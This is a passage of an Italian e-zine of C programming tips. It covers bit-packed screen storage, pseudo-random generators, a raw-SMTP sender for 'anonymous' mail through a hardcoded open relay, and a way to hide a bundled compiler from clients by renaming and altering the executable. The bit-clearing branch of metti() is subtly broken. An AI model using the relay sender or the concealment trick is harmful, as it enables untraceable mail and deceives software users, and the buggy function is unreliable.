schermo 640x480
16 col
256
65536
schermo 640x480
2 col
4bit
8bit
8bit
8bit
x
x
x
x
1byte variabile di char array
1byte
2bytes
1byte variabile di char array
= 153k
= 307k
= 614k
= 38k
.. passando alla pratica, il sistema per poter utilizzare queste variabili a 1
byte
e' abbastanza semplice.
Il primo passo tenuto conto che abbiamo a disposizione solo variabili a 1 byte
minime
e' quello di formalizzare una matrice di valori BIT di dimensione 8 x N
facciamo l'esempio con uno schermo di prova 27x5
100000000000000000000000000
100000000111100000000000000
000000000111100000000000000
000000000000000000000000000
000000000000000000000000000
in matrice 8 x n verra' idealmente convertito come
10000000
00000000
00000000
00010000
00001111
00000000
00000000
00000001
11100000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
0000000...
il numero matriciale del BIT n sara' identificato dalle coordinate
X = int(n/8) ..oppure.. n/8 (con X e n interi)
Y = 8*(n/8-int(n/8)) ..oppure.. n % 8
dove X rappresenta la coordina verticale dei Bytes
e Y i BIT relativi a ciascun byte.
Pagina 16
netrun9.txt
Sara' allora facile settare ogni singolo bit di un byte specifico
facendo l'or bitwise del byte X con un 1 shiftato a sinistra tanti
posti quanti Y
cosi':
X | 1 << Y
la procedura per fare questo in pratica e' la seguente:
metti(char a[],long n,int v)
{
long int nu=n/8,po=n%8;
if(v)a[nu]=a[nu]|1<<po;
else a[nu]=a[nu]&0xff;
}
L'equivalente procedura per controllare lo stato di un byte invece e' questa
char leggi(char a[],long int n)
{
return((a[n/8]&1<<n%8)>0);
}
.. e dato che la spiegazione e' stata leggermente pallosa questo e' un
esempietto pratico
per l'utilizzo che segue la vecchia teoria per la quale -veder come si fa val
piu' che parlarne
troppo.- ;-)
Il programma e' per dos, viene creato uno schermo b/w in modalita' EGA di
640x200 pixel che
normalmente occuperebbe in memoria i nostri bei 128Kbytes dovendolo salvare in
un formato tipo
BMP o TIF non compressi.
Viene poi salvato lo schermo in memoria caricandolo in un array char di soli
16k per poi cancellarlo
e rivisualizzarlo estraendolo tramite la funzione "leggi" sopra riportata.
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::
BITTBOOL.c
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::
#include <stdio.h>
#include <stdlib.h>
#include <graphics.h>
char leggi(char a[],long int n);
main()
{
long int n,m;
int x,y;
char a[16106]={0};
int gdriver = EGA, gmode=0, errorcode;
initgraph(&gdriver, &gmode, "");
for(n=0;n<=100;n++)
circle(random(640),random(200),random(100)+50);
printf("Inizio a salvare e memorizzo anche questa scritta\n");
n=0;
for(y=0;y<=200;y++)
for(x=0;x<=640;x++)
{
m=getpixel(x,y);
Pagina 17
if(m>0)m=1;
metti(&a,n++,m);
netrun9.txt
}
printf("Premi enter");
getch();
cleardevice();
printf("\nPremendo enter repristino la schermata salvata bitbool");
printf("\n Schermo monocromatico ega 640x200 [ 128k ] ");
printf("\n salvato con un array di [ 16k (16106=((640+1)*(200+1))/8 ]");
getch();
n=0;
for(y=0;y<=200;y++)
for(x=0;x<=640;x++)
{
m=leggi(&a,n++);
putpixel(x,y,m*15);
}
getch();
}
metti(char a[],long n,int v)
{
long int nu=n/8,po=n%8;
if(v)a[nu]=a[nu]|1<<po;
else a[nu]=a[nu]&0xff;
}
char leggi(char a[],long int n)
{
return((a[n/8]&1<<n%8)>0);
}
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
. - .
//-------------------------------------------------------------------------------------------------5. Generazione evoluta di numeri random
//-------------------------------------------------------------------------------------------------Tralasciando la nota disquisizione sulla possibilita' o meno di produrre numeri
casuali (funzione e
casuale sono in effetti due termini dicotomici) ..
quelle che seguono sono due procedure ricavata da un algoritmo apposito per la
generazione evoluta
di numeri pseudo-casuali sviluppato all'Universita' della Florida e
successivamente modificato da
me per ottenere una migliore risoluzione.
A tutti gli effetti la produzione di random dell'algoritmo -grande- si colloca
ai primi posti
Pagina 18
netrun9.txt
nel mondo in fatto di serie caotiche non ripetute, purtroppo non si puo' dire
altrettanto della
velocita' che pero' cmq resta elevata per la maggior parte delle applicazioni
comuni.
Il rapporto con il generatore standard del c++ e' a favore di quest'ultimo ma
se si considera
che l'algoritmo floridiano produce una serie non ripetuta di 2^9000 random
diversi a dispetto dei
2^30 massimi del generatore congruenziale c i vantaggi sono subito evidenti.
L'algoritmo -piccolo- (il motore random) e' una semplificazione dell'algoritmo
-grande- , risulta
nettamente più' veloce ma ovviamente questo e' a scapito della risoluzione
infatti la serie non
ripetuta si colloca (dipendentemente dal seed) in valori che si aggirano
mediamente su 2^80 cifre
decimali significative.
Il programma
-grande- e' composto da 3 procedure fondamentali
1. float RANDOM(void);
2. void RAND(float VET[], int DIM);
3. static void RANDOMIZE(int s1, int s2);
la prima:
--------------------------------------------float RANDOM(void)
{
float metti;
metti=passa[pr]-passa[sc];
if(metti<0.0) metti+=1.0;
passa[pr]=metti;pr-=1;
if(pr==0)pr=0x061;
sc-=1;if(sc==0)sc=0x061;
con0-=con1;if(con0<0.0)con0+=con2;
metti-=con0;if(metti<0.0)metti+=1.0;
return(metti);
}
--------------------------------------------serve a produrre un solo numero random alla volta secondo l'algoritmo citato.
la seconda
--------------------------------------------void RAND(float VET[],int DIM)
{
int indice;
float metti;
for(indice=1;indice<=DIM; indice++)
{
metti=passa[pr]-passa[sc];
if(metti<0.0) metti+=1.0;
passa[pr]=metti;pr-=1;
if(pr==0)pr=0x061;
sc-=1;if(sc==0)sc=0x061;
con0-=con1;if(con0<0.0)con0+=con2;
metti-=con0;if(metti<0.0)metti+=1.0;
VET[indice]=metti;
}
}
--------------------------------------------crea una lista DIM di numeri random all'interno dell'array di valori float
VET[]
Pagina 19
netrun9.txt
la terza
--------------------------------------------static void RANDOMIZE(s1,s2)
int s1, s2;
{
int
i,j,k,
l,m,n,
o;
float s,t,
alfa=pow(2,24),
beta=alfa/2.191862086,
gamma=alfa/46.29014777;
i=(s1/0x0b1)%0x0b1+0x002;
j=s1%0x0b1 + 2;
k=(s2/0x0a9)%0x0b2+0x001;
l=s2%0x0a9;
for(n=1;n<=0x061;n++)
{
s=0.0;t=1./2.;
for(o=1;o<=0x018;o++)
{
m=(((i*j)%0x0b3)*k)%0x0b3;
i=j;j=k;k=m;
l=(0x035*l+1)%0x0a9;
if((l*m)%0x040>=0x020)s+=t;
t*=1./2.;
}
passa[n]=s;
}
con0=gamma/alfa;con1=beta/alfa;
con2=(alfa-0x03)/alfa;
pr=0x061;sc=0x021;
}
--------------------------------------------inizializza e prepara variabili e parametri necessari al buon funzionamento
dell'algoritmo sfruttato dalle due procedure precedenti.
Un esempio pratico di programma che sfrutta in modo adeguato le procedure sopra
riportate potrebbe essere questo.
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::
programma GRANDE
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::
#include
#include
#include
#include
<stdio.h>
<stdlib.h>
<math.h>
<windows.h>
#define boolean int
float RANDOM(void);
void RAND(float VET[], int DIM);
static void RANDOMIZE(int s1, int s2);
//
//
//
//
//
Uso:
Si inizializza il generatore di numeri casuali con
RANDOMIZE(uno,due) .. uno e due sono interi da 0-2^15
per un totale di 2^30 diverse partenze nella sequenza random.
Con la funzione float RANDOM() si ha un numero casuale in
Pagina 20
netrun9.txt
// uscita <= 1.
// In alternativa si dichiara un vettore di float -> float PIPPO[N]
// e con RAND(PIPPO,N) si generano N numeri casuali nel vettore PIPPO.
main()
{
float BUF[10];
int s1, s2, DIM, i;
float d1[10]={0},d2[10]={0};
FILE *fp;
RANDOMIZE(1234,5678);
clrscr();
fp=fopen("dati","wb");
for(i=0;i<=100;i++)
{
fprintf(fp,"%1.4f\n",RANDOM());
// printf("%d ",i);
}
fclose(fp);
printf("Finito");
getch();
exit(0);
su:
for (i=1; i<=10000; i++)
{
RAND(BUF, 1);
if(BUF[1]<0.5)
{
RAND(BUF, 1);
d1[floor(abs(BUF[1]*6))]+=1;
}
else
{
RAND(BUF, 1);
d2[floor(abs(BUF[1]*6))]+=1;
}
}
clrscr();
printf("%6.1f %6.1f %6.1f %6.1f %6.1f %6.1f \n%6.1f %6.1f %6.1f %6.1f %6.1f
%6.1f\n
",d1[0],d1[1],d1[2],d1[3],d1[4],d1[5],d2[0],d2[1],d2[2],d2[3],d2[4],d2[5]);
printf("\n Somma d1= %6.1f \n",d1[0]+d1[1]+d1[2]+d1[3]+d1[4]+d1[5]);
printf("\n Somma d2= %6.1f \n",d2[0]+d2[1]+d2[2]+d2[3]+d2[4]+d2[5]);
i=getch();
if(i==27)exit(0);
for(i=0;i<=6;i++)
{
d1[i]=0;
d2[i]=0;
}
goto su;
exit(0);
}
static float passa[0xff], con0, con1, con2;
static int pr, sc;
static void RANDOMIZE(s1,s2)
int s1, s2;
{
int
i,j,k,
l,m,n,
o;
float s,t,
alfa=pow(2,24),
beta=alfa/2.191862086,
gamma=alfa/46.29014777;
Pagina 21
i=(s1/0x0b1)%0x0b1+0x002;
j=s1%0x0b1 + 2;
k=(s2/0x0a9)%0x0b2+0x001;
l=s2%0x0a9;
for(n=1;n<=0x061;n++)
{
s=0.0;t=1./2.;
for(o=1;o<=0x018;o++)
{
m=(((i*j)%0x0b3)*k)%0x0b3;
i=j;j=k;k=m;
l=(0x035*l+1)%0x0a9;
if((l*m)%0x040>=0x020)s+=t;
t*=1./2.;
}
passa[n]=s;
}
con0=gamma/alfa;con1=beta/alfa;
con2=(alfa-0x03)/alfa;
pr=0x061;sc=0x021;
}
netrun9.txt
void RAND(float VET[],int DIM)
{
int indice;
float metti;
for(indice=1;indice<=DIM; indice++)
{
metti=passa[pr]-passa[sc];
if(metti<0.0) metti+=1.0;
passa[pr]=metti;pr-=1;
if(pr==0)pr=0x061;
sc-=1;if(sc==0)sc=0x061;
con0-=con1;if(con0<0.0)con0+=con2;
metti-=con0;if(metti<0.0)metti+=1.0;
VET[indice]=metti;
}
}
float RANDOM(void)
{
float metti;
metti=passa[pr]-passa[sc];
if(metti<0.0) metti+=1.0;
passa[pr]=metti;pr-=1;
if(pr==0)pr=0x061;
sc-=1;if(sc==0)sc=0x061;
con0-=con1;if(con0<0.0)con0+=con2;
metti-=con0;if(metti<0.0)metti+=1.0;
return(metti);
}
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::
Una esemplificazione dell'algortimo floridiano e' rappresentata da questo altro
programma
che ho chiamato -piccolo- per via della minore risoluzione che si ottiene con
la produzione
di pseudo casuali. Cio' e' devoluto principalmente all'arrotondamento su grandi
numeri che
si opera al fine di incrementare la velocita'.
Il programma e' formato principalmente da un header.. il motore inferenziale
che genera i random
tramite una procedura di inizializzazione per il seed [ _randomize ] e una
funzione per l'utilizzo
del numero trovato [ trova() ].
Pagina 22
netrun9.txt
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::
motore.h
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::
//---------------------------------// Motore random
//---------------------------------#define \
min 0x41a7
#define \
max 0x7fffffff
long n=1;
long _rand(long s){
unsigned long un,du;
un=min*(long)(s&0xFFFF);
du=min*(long)((unsigned long)s>>0x10);
un+=(du&0x7FFF)<<0x10;
if(un>max){un&=max;++un;}
un+=du>>0xf;
if(un>max){un&=max;++un;}
return(long)un;}
float trova(void){
float p;
p=n=_rand(n);
return p/max;}
void _randomize(unsigned long s)
{n=s?(s&max):1;}
//---------------------------------::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::
Esempio di utlizzo del motore random.
#include
#include
#include
#include
<stdio.h>
<stdlib.h>
<graphics.h>
"motore.h"
int main()
{
long k;
float x,y;
int u,gdriver = DETECT, gmode, errorcode;
initgraph(&gdriver, &gmode, "");
_randomize(1);
for (k=0;k<100000000;++k){
x = trova()*640;
y = trova()*480;
u=getpixel(x,y)+1;
putpixel(x,y,u);
if(k%1000==1)if(kbhit()){cleardevice();printf("%ld",k);getch();getch();exit(0);}
;
}
}
riempie uno schermo di 640*480 pixel di colori sequenziali per verificare
a-occhio se la generazione
dei random e' soggetta a qualche pecca.
Pagina 23
netrun9.txt
Nel caso di una cattiva generazione (cosa che non e' nel nostro caso) di
dovrebbero vedere delle
strutture grafiche preferenziali a video: delle zone che si riempiono di colore
prima delle altre,
delle righe o delle croci colorate, ecc...
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
. - .
//-------------------------------------------------------------------------------------------------6. Come postare una mail anonima col C
//-------------------------------------------------------------------------------------------------Chiesto da ... he he .. non me lo ricordo piu'!
.. cmq e' una domanda questa che a periodi fissi mi viene rifatta da diverse
persone.
Direi che e' uno dei grandi classici della rete..
leggermente meno "classica" di -dove lo trovo telnet?- ma sicuramente piu'
classica di
-come trovo la mail se conosco l'ip?- .. ;-)
.. uno di questi giorni devo mettermi in testa anch'io di fare una raccolta di
tutte le domande
assurde che mi sono state fatte in tanti anni.
Ce ne sono gia diverse in rete di -raccolte- analoghe ma non ci si stancherebbe
mai di leggerle
eh!? ..he he
Cominciamo con lo ..spedire una mail col C. (l'anonimia' verra in seguito ..o
quasi. ;-) )
Tutto il gravoso della faccenda e' relativo all'utilizzo diretto del winsock.
Il vb si salva in corner grazie agli ocx.. spedire una mail col controllo
winsock.ocx della Microsoft
o col winsck.ocx nella Netmanage e' addirittura banale.
Gia l'utilizzo della libreria winsock.bas (equivalente di winsock.h per il C)
resta faticoso..
questo non perche' sia piu' difficile ma forse (probabilmente) perche' da una
parte mancano esempi
stringati (base fondamentale per la acquisizione di pratica del programmatore)
e dall'altra i
-convenevoli- necessari per l'inizializzazione del winsock rendono il tutto
mentalmente pesante.
Lo capisco .. quando ho cominciato anche per me era cosi', poi si scopre che a
fronte di un maggior
impegno iniziale si hanno notevoli guadagni in termini di elementarizzazione
delle procedure e di
lavoro a basso-livello.
Solitamente la strada semplice e' anche quella priva di situazioni
interessanti.
Ad ogni modo il programma per spedire una mail e' questo:
Funziona esattamente come se si stesse lavorando su telnet.
Pagina 24
netrun9.txt
Richiede in ingresso un file con le specifiche della mail ed invia direttamente
su un sock
connesso all'indirizzo del server mail voluto tutti dati impostati.
E' uguale a sendmail?.. e' uguale a netcat? .. si pero' questo e' un sorgente
veramente minimo
e stringato, facile da capire sia nel funzionamento che nella struttura
organizzativa.
Ve lo riporto cosi' come lo avevo pubblicato con le spiegazioni del caso.
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
info sul programma LAPOSTA.C
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
Procedura elementare per mandare una mail anonima col c++.
La procedura e' in c++ di base .. quindi e' possibile compilare il
programma con praticamente ogni tipo compilatore.
Borland c++ 4/5 (col tre ci vuole il suo winsock.lib .. chi non ce l'ha
se lo puo' ricavare facilmente passando al programma implib accluso assieme al
compilatore la libreria winsock.dll a 16 bit)
Builder, Vc .. tutto insomma.
(c'e' cmq anche il programma gia' compilato!)
E' un programma dimostrativo .. serve solo a capire come si deve operare per
mandare dati attraverso il TCP usando solo le librerie fondamentali e nessun
ocx.
Ad ogni modo funziona egregiamente senza bisogno di ulteriori modifiche.
Il funzionamento lo si capisce solo guardando il listato .. sono tre righe.
.. necessita di un file di script contenente i comandi da inviare esattamente
come
se si stesse operando su telnet (vale solo per SMTP in questo caso ma non e'
difficile fare le modifiche per ottenere uno script telnet generico.)
Nel file di script vanno inseriti
1. L'ip del sendmail a cui collegarsi. (scrivendo DEFAULT viene usato un ip
di un server SMTP anonimo ..(uno dei pochi ancora attivi in rete))
2.. tutti i comandi come da specifiche RFC.
.. e' possibile accludere degli attach codificandoli in uuencode e attaccandoli
nel body della mail prima del punto finale.
Vedere lo script di esempio laposta.txt
.. per spedire la mail:
MANDA laposta.txt
.. e aspettare la fine.
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
LAPOSTA.C
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
//--------------------------------------------------------------------------#include <vcl\condefs.h>
#pragma hdrstop
#include
#include
#include
#include
#include
#include
<stdio.h>
<stdlib.h>
<string.h>
<dos.h>
<conio.h>
<windows.h>
Pagina 25
#include <winsock.h>
netrun9.txt
// Assegnazioni
//--------------------------------------------------------------------------WSAData ws;
SOCKET s;
struct sockaddr_in sock;
int d,n,m;
long gg;
char stringa[4096], stringhina[3];
//--------------------------------------------------------------------------// Dichiarazione delle procedure
//--------------------------------------------------------------------------Spedisci_Messaggio(char *messaggio);
Spedisci_ENTER();
Ricevi_Risposte();
//--------------------------------------------------------------------------main(int nf,char **file)
{
char *leggi;
FILE *fp;
leggi = (char *) calloc(200, sizeof(char));
fp=fopen(file[1],"rb");
// inizializzazione del winsock
//--------------------------------------------------------------------------gg=WSAStartup(0x0101,&ws);
printf("Attivo il supporto winsock -> id=%ld\n",gg);
// apertura del socket
s = socket(AF_INET,SOCK_STREAM,0);
printf("Apro il socket n.%ld\n",s);
// dichiarazione della porta e dell'host a cui connettersi
sock.sin_family = AF_INET;
sock.sin_port = htons(25);
fgets(leggi,200,fp);
if(strlen(leggi)>1)leggi[strlen(leggi)-2]='\0';
if(strstr(leggi,"DEFAULT"))strcpy(leggi,"194.235.161.1"); // mail.amadeus.it
sock.sin_addr.s_addr = inet_addr(leggi);
//
//
//
//
//
//
mail.amadeus.it e' un servizio di posta -abbastanza- anonimo
CERCATE DI NON ABUSARNE.. non se ne trovano ancora tanti di
questi tempi!!!!
mettendo la scritta DEFAULT al posto dell'ip del server SMTP
che intendiamo usare nella prima riga dello script
significa che useremo il servizio amadeus per spedire la posta.
// connessione
d=connect(s,(struct sockaddr *)&sock,sizeof(sock));
printf("Sono connesso -> id=%ld\n",d);
//--------------------------------------------------------------------------// Spedizione della MAIL ANONIMA
//--------------------------------------------------------------------------// manda il comando HELO
fgets(leggi,200,fp);
if(strlen(leggi)>1)leggi[strlen(leggi)-2]='\0';
Spedisci_Messaggio(leggi);
// aspetta il messaggio di ritorno e lo visualizza
Ricevi_Risposte();
// manda il comando MAIL FROM
fgets(leggi,200,fp);
if(strlen(leggi)>1)leggi[strlen(leggi)-2]='\0';
Spedisci_Messaggio(leggi);
Pagina 26
netrun9.txt
// aspetta il messaggio di ritorno e lo visualizza
Ricevi_Risposte();
// manda il comando RCPT TO
fgets(leggi,200,fp);
if(strlen(leggi)>1)leggi[strlen(leggi)-2]='\0';
Spedisci_Messaggio(leggi);
// aspetta il messaggio di ritorno e lo visualizza
Ricevi_Risposte();
// manda il comando DATA
fgets(leggi,200,fp);
if(strlen(leggi)>1)leggi[strlen(leggi)-2]='\0';
Spedisci_Messaggio(leggi);
// aspetta il messaggio di ritorno e lo visualizza
Ricevi_Risposte();
// manda il MESSAGGIO ..
// non si aspettano risposte se non dopo l'invio del
// punto finale seguito dal carriage return
manda:
fgets(leggi,200,fp);
if(strlen(leggi)>1)leggi[strlen(leggi)-2]='\0';
if(strlen(leggi)==1&&leggi[0]=='.')
{
Spedisci_Messaggio(".");
Spedisci_ENTER();
Spedisci_ENTER();
}
else
{
Spedisci_Messaggio(leggi);
goto manda;
}
fclose(fp);
// aspetta il messaggio di ritorno e lo visualizza
Ricevi_Risposte();
printf("FINITO!");
exit(0);
}
//--------------------------------------------------------------------------// Procedure utilizzate :
//--------------------------------------------------------------------------// Procedura per spedire un messaggio al server con CrLf finale
//--------------------------------------------------------------------------Spedisci_Messaggio(char *messaggio)
{
send(s,messaggio,strlen(messaggio),0);
stringhina[0]=0x0d;stringhina[1]=0x0a;
send(s,stringhina,2,0);
}
//--------------------------------------------------------------------------// Procedura per spedire al server un CrLf
//--------------------------------------------------------------------------Spedisci_ENTER()
{
stringhina[0]=0x0d;stringhina[1]=0x0a;
send(s,stringhina,2,0);
}
//--------------------------------------------------------------------------Pagina 27
netrun9.txt
// Procedura per attendere e visualizzare la risposta del server
// .. paragonabile all'evento Data_Arrival (o quasi) :)
//--------------------------------------------------------------------------Ricevi_Risposte()
{
n=recv(s,stringa,sizeof(stringa),0);
for ( m = 1;m<= n; m++)
printf("%c",stringa[m-1]);
printf("\n");
}
//--------------------------------------------------------------------------::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
questo e' il file LAPOSTA.TXT che contiene una mail di prova con un attach:
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
LAPOSTA.TXT
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
DEFAULT
HELO Parsifal
MAIL FROM: indirizzo_mail@del_mittente.com
RCPT TO: indirizzo_mail@del_ricevente.com
DATA
Subject: prova di invio mail col nuovo telnet (compresso)
piro piro piro toppo piro piro pa'
poro poro poro poro poro pi'
umpa umpa umpeppe'
ta taratatta' .. za za
begin 644 star.gif
M1TE&.#EAH`!0`*$!`````/___P```````"'_"TY%5%-#05!%,BXP`P$````A
M^00$"@#_`"P`````H`!0```"E82/J<OM#Z.<M-J+L]Z\^P^&XDB6YHFFZLJV
M[@O'\DS7=AC<^L[W_@\,"D>YH?&(3"J7S*;S"8U:BM*J]8K-:K<_*O<+#HO'
MY++YC$ZKU^RV^PV/R^?TNOV.S^OW_+[_#Q@H.$BHXE6(F*BXR-CHV'#X*#E)
M66E)$WFIN6F6R:GE^2DZ2EIJ>HJ:JKK*VNKZ"ALKFU<``"'Y!`4*``(`+`4`
M!`"'`$4```)_A`^!R^T/HYRTVHNSWKS[#X;B2)8FHYSJRK;N"Y=I3-?VC>?Z
MSO?^#PP>9L*B\8A,*I?,IO,)C4JGU*KUBLUJM]RN]PL.B\?DLOF,%A'3[+;[
M#8_+Y_2Z_8[/Z_?\OO]_L@8X>"9(>(B8J+C(V.CXB&`(.4E962EIF:D9A#E7
M```A^00%"@`"`"P%``,`D`!,```"BH2/J<OM#Z.<U(2*L]Z\^P^&XDB6YHEZ
M5\JV[@O'\DS7]K'>^L[W_@\,"H?$HO&(3"J7S*;S"8U*I]2J]8K-:K?<KO<+
M#HL;N;'YC$ZKUZ,R^PW_NN/TNOV.S^OW_+[_#Q@H.$A8:'B(F*BXB#C'B.;X
M*#E)66EYB9FIN<G9Z?D)RA092EJZ,RI8```A^00%"@`"`"P9``,`@P!,```"
M@(2/J1;K#Z.<M-J+L]Z\^_\UX$B6YHFFZLJV[@O'\DS7]HWG^L[W_@\,"H?$
MHO&(3"J7S*;S"8U*I]2J]8K-:C>BK?<+#HO'Y%NWC$Z3S^JV^PV/R^?TNOV.
MS^OW_+[_#Q@HF,<V:'B(Z%&8R-CH^`CYMAA)66EYB9FIN<G9Z5,``"'Y!`4*
M``(`+!$``P"+`$D```)^A(^IR^T/HYRTVHNSWKS[#X;B2);FB:;JRK;N"\?R
M3-?VC>?ZSO?^#PP*A\2B\8A,*I?,7Z`)C4JGU*KUBLUJM]RNM_'\BL?DLOD6
M/JNCZ;7[#8_+Y_2Z_8[/Z_?\OO\/&"@X2%AH>(B8J+C(V%[email protected]:7F)
MF;D%B50``"'Y!`4*``(`+`0`$P"8`#D```)UA(^IRPWAHIRTVHNSWKS[#X;B
M2);FB:;JRK;N"\?R3-<U9.?ZSO?^#PP*A\2B\8A,*I?,IO,)#>*BU$?UBLUJ
MM]RN]PL.B\?DLOF,3JO7[+;;,'W+Y_1CO([/Z_?\OO\/&"@X2%AH>(B8J+C(
MB''7"!DIR50``"'Y!`4*``(`+`0`$0"8`#\```)]A(^IRQ`-HYRTVHNSWKS[
M#X:B]HSFB:;JRK;N"\?R3-?VC>?ZSO?^#PP*(Z6A\8A,*I?,IK'HC$JGU*KU
MBLUJM]RN]PL.B\?DLOF,3JO7[+;[#8^?H/*Z_8[/Z]WTO?\/&*C4)UAH>(B8
MJ+C(V.CX"!DI.4E9:7F)Z44H60``(?X?3W!T:6UI>F5D(&)Y(%5L96%D(%-M
,87)T4V%V97(A```[
`
end
sum -r/size 19614/1137
.
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Pagina 28
:::::::::::::::::::
netrun9.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
. - .
//-------------------------------------------------------------------------------------------------7. Sistema per la valutazione di funzioni matematiche composte
in c con precompilazione in altro linguaggio completamente nascosta.
//-------------------------------------------------------------------------------------------------Il C e' un compilatore! .. he he .. che novita' eh!? :))
Pero' come tutti i compilatori ha il solito difettaccio (rispetto ad un
interprete) di non saper
elaborare di base funzioni immesse in input.
Canonicamente si dovrebbe creare una funzione parser che estrae le varie
funzioni e una procedura
per la valutazione di espressioni matematiche che tenga conto di un certo
numero di funzioni base
(trigonometriche, esponenziali, ecc...) e che le esegua correttamente tenendo
conto dei segni,
delle priorita' delle parentesi, ecc...
Non e' una cosa troppo complessa da buttar giu' ma quando ho fatto questo
programma avevo poco tempo
a disposizione.
L'idea potrebbe essere utile a tantissimi altri scopi.
Es: costruirsi un linguaggio di programmazione personale, farsi un esecutore di
script, ecc..
L'idea di base e' semplice:
abbiamo un compilatore X che compila un sorgente scritto nel linguaggio Y.
(io ho usato il compilatore powerbasic ma si puo' usare minic, turbo pascal [90
k di compilatore
compresa la mini libreria di base], ecc.. ogni compilatore monofile e di
dimensioni ridotte potrebbe
andar bene)
La soluzione consiste nel compilarsi un programma in C che accetti come input
una funzione matematica
composta.
es: sin(x^2/9+y^2/9)/(x^2+y^2+1)
.. il solito sombrero ondulato.
Abbiamo detto che valutarla a meno del processo parser->postvalutazione e'
impossibile.
Potremmo pero' associare al nostro programma un compilatore secondario ( il
powerbasic appunto )
A questo punto sara' sufficiente far creare dal nostro programma C un file di
testo contenente le
istruzioni per far si che il powerbasic compili la funzione immessa creandosi
un programma secondario
che crei a sua volta sull'hd un secondo file (di testo questa volta) contenente
il risultato della
Pagina 29
netrun9.txt
funzione per un range di valori da A a B
il sottoprogramma per la postcompilazione dovrebbe essere all'incirca cosi'
x1=a
x2=b
S=c);
FUNCTION pippo(x)
pippo=sin(x^2/9+y^2/9)/(x^2+y^2+1)
END FUNCTION
open "out" for output as #1
for n=x1 to x2 step S
print n," ",pippo(n)
next n
close #1
e quindi per crarlo dovremmo scrivere in C queste righe:
....
fprintf(f,"x1=%s\r\n",a);
fprintf(f,"x2=%s\r\n",b);
fprintf(f,"S=%s\r\n",c);
fprintf(f,"FUNCTION pippo(x)\r\n");
fprintf(f,"pippo=%s\r\n",s);
fprintf(f,"END FUNCTION\r\n");
fprintf(f,"open \"out\" for output as #1\r\n");
fprintf(f,"for n=x1 to x2 step S\r\n");
fprintf(f,"print #1," ";n;str$(pippo(n));\r\n");
fprintf(f,"next n\r\n");
fprintf(f,"close #1\r\n");
.....
Al nostro programma in C non resterebbe che eseguire questo secondo programma,
cancellarlo,
importare i dati del file di testo creati da quest'ultimo e quindi mostrarli a
video cancellando
anche questo file di testo di passaggio.
Resterebberro solo due problemi ad un utente che non volesse far vedere tutti
questi passaggi ad
un cliente ignaro.
1. Il compilatore secondario di solito durante la compilazione da a video dei
messaggi di benvenuto o
di infra-compilaione che svelerebbero l'inghippo.
2. Il compilatore e' cmq un file exe che potrebbe essere eseguito dal cliente
che si renderebbe
conto che c'e' qualcosa che non quadra.
.. come si risolvono i due problemi sopra?
anche questo in maniera semplice e -spippolatoria- :)))
1. Si potrebbe compilare indirizzando l'output su un di testo passa.
COMPILER programma.txt > passa
.. quindi cancellare anche il file passa.
(tutto questo resterebbe completamente invisibile al cliente)
2. Si potrebbe rinominare COMPILATORE.EXE in Libreria.dat .. magari cambiando i
primi byte del file
in qualcosa di diverso per poi repristinarli (sia i bytes che il nome con
estensione exe finale) solo
all'atto dell'utilizzo.
Pagina 30
